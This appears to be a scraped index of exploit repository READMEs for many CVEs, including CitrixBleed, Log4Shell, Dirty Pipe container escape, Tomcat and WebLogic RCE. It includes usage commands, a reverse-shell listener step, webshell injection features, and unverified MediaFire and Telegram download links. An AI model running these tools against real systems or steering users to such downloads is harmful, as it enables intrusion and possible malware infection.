CVE-2025-49132_poc

CVE-2025-49132 PoC Mejorado Esta es una versión mejorada del exploit de prueba de concepto CVE-2025-49132. Información del CVE ID de CVE : CVE-2025-49132 Referencia NVD : https://nvd.nist.gov/vuln/detail/cve-2025-49132 Base de datos de Wiz :...

CVE-2023-4966

CVE-2023-4966 CitrixBleed 用于利用 Citrix 应用程序的程序，支持指定 IP 地址范围 以下是如何在 Windows、macOS 或 Linux 上编译它： GOOS=windows GOARCH=amd64 go build -o citrix citrix.go GOOS=darwin GOARCH=amd64 go build -o citrix.exe citrix.go GOOS=linux GOARCH=amd64 go build -o citrix citrix.go 使用方法：程序名 起始IP 结束IP 在 Linux 上，使用...

Livepyre

Livepyre Una herramienta diseñada para explotar CVE-2025-54068 y la ejecución remota de comandos si se conoce la APPKEY del proyecto Livewire. Autores de la herramienta: @remsio @Worty. Ayuda $ ./Livepyre.py -h usage: Livepyre.py -h -u URL -f FUNCTION -p PARAM -H HEADERS -P PROXY -a APPKEY -d -F ...

MYSQL-UDF-Exploit

MYSQL-UDF-Exploit Exploit de UDF para MySQL...

CVE-2026-58138

CVE-2026-58138 HECHO POR BANG Friends Exploit Solo pido permiso para subir, Bang...

CVE-2017-12615

CVE-2017-12615 Tomcat 远程代码执行漏洞 Exploit java -jar CVE-2017-12615-Exploit.jar Url ShellName ShellValue www.SecFree.com · · · 一┳═┻︻▄ Tomcat RCE CVE-2017-12615 ▄︻┻═┳一 · · · Influence: Apache Tomcat 7.0.0 - 7.0.79 0day Info: https://www.secfree.com/article-399.html Help: Url ShellName ShellValue Autho...

CVE-2019-9053

CVE-2019-9053 Daniele Scanu 的 SQL 注入漏洞利用代码改进版 已应用以下更改： 新增时间控制变量 -t 或 --time，允许用户延长 SQL 注入的计时（在主机间网络连接存在数据包传输延迟时有用） 添加网络异常处理：在数据包/连接/响应丢失时重试（原版 Python 会抛出异常，需要重新开始） 在获取哈希/盐值时无需使用完整字典，因为其以十六进制表示，因此使用精简字典 0123456789abcdef 以加快速度 Python3 要求 hashlib.md5 参数必须编码，因此哈希查找函数已相应重写 尽情使用吧！...

heartbleed_exploit

Este repositorio no tiene un README...

CVE-2022-0847-Container-Escape

CVE-2022-0847-Container-Escape CVE-2022-0847 utilizado para lograr escape de contenedor. Utilizando CVE-2022-0847 Dirty Pipe para lograr escape de contenedor. Implementado usando el lenguaje Go...

rschunter

RSC Hunter Una herramienta potente de escaneo y explotación multi-hilo para vulnerabilidades en React Server Component RSC. Esta herramienta está diseñada para identificar y explotar vulnerabilidades RCE en implementaciones de RSC, con soporte para diversas técnicas y estrategias de bypass. Nota ...

Next.js-Exploit-Tool

Next.js-Exploit-Tool Next.js-Exploit-Tool 图形化综合利用工具。 简介 一款针对 CVE-2025-55182 的独立安全评估工具，基于 Go 开发，提供图形化界面（GUI），用于快速完成漏洞检测与验证。 更新日志 v1.3.0 新增 Godzilla 哥斯拉 内存马支持 实现了基于 Node.js 的 Godzilla 内存马注入功能，本 Payload 需配合北辰师傅的项目GodzillaNodeJsPayload 使用。 致谢 Credits ：特别感谢 北辰师傅开源的 GodzillaNodeJsPayload 项目。 新增网络代理支持...

CVE-2023-0386

Instalación make all Cómo usar Abra dos terminales y en la primera escriba ./fuse ./ovlcap/lower ./gc En la segunda terminal escriba ./exp...

grafanaExp

grafanaExp 利用grafana CVE-2021-43798任意文件读漏洞，自动探测是否有漏洞、存在的plugin、提取密钥、解密server端db文件，并输出datasourrce信息。 使用方法 提供exp和decode功能。 ➜ ./grafanaExp -h NAME: grafanaExp - Exploit Grafana with CVE-2021-43798 Arbitrary File Read. USAGE: grafanaExp global options command command options arguments... AUTHOR:...

CVE-2023-48084

CVE-2023-48084 Corrige la sintaxis rota en el POC, principalmente importaciones incorrectas y referencias incorrectas a funciones de la API. Automatiza la obtención del APIToken, almacena el token como una variable y lo canaliza al POC corregido. https://github.com/Hamibubu/CVE-2023-48084 Si por...

CVE-2017-10271

CVE-2017-10271 用法: CVE-2017-12149.py http://targetip:port/ WEBLOGIC RCE 仅适用于 Windows，你可以稍微修改代码以适配 Linux。...

CVE-2010-3600-PythonHackOracle11gR2

Este repositorio no tiene un README...

CVE-2025-1974

LÉEME Hablar es barato, solo mira el código. Se pueden encontrar detalles en https://www.wiz.io/blog/ingress-nginx-kubernetes-vulnerabilities Uso 1. Cambia la ip en shell.c 2. Verifica que docker esté disponible y ejecuta make shell.so. Necesitamos compilar el .so en Alpine para asegurarnos de qu...

CVE-2018-15473-Exploit

CVE-2018-15473-Exploit 2018年8月15日，OSS-Security邮件列表上发布了以下公告：http://openwall.com/lists/oss-security/2018/08/15/5 ShelIntel团队决定投入时间为此漏洞编写一个利用工具。以下利用工具具有以下特点： 多线程 - 默认5个线程 如果使用超过10个线程，通常会导致OpenSSH服务过载并引发重试 通过username参数评估单个用户名 通过userList参数评估多个用户名 通过outputFile参数输出多个用户名的评估结果文件...

CVE-2026-70559-PoC

CVE-2026-70559-PoC Para obtener este PoC - Únete https://t.me/thecodeb0ss...

Log4j-Exploit-CVE-2021-44228

Log4j漏洞利用-CVE-2021-44228 Log4Shell漏洞测试工具 https://log4shell.tools/ 漏洞利用已包含Java，无需创建账号等.. http://www.mediafire.com/file/bs1spnysc6fbz1a/log4j-shell-poc%25281%2529.zip/file pip install -r requirements.txt $ python3 poc.py --userip localhost --webport 8000 --lport 9001 nc -lvnp 9001 $ python3 poc.py...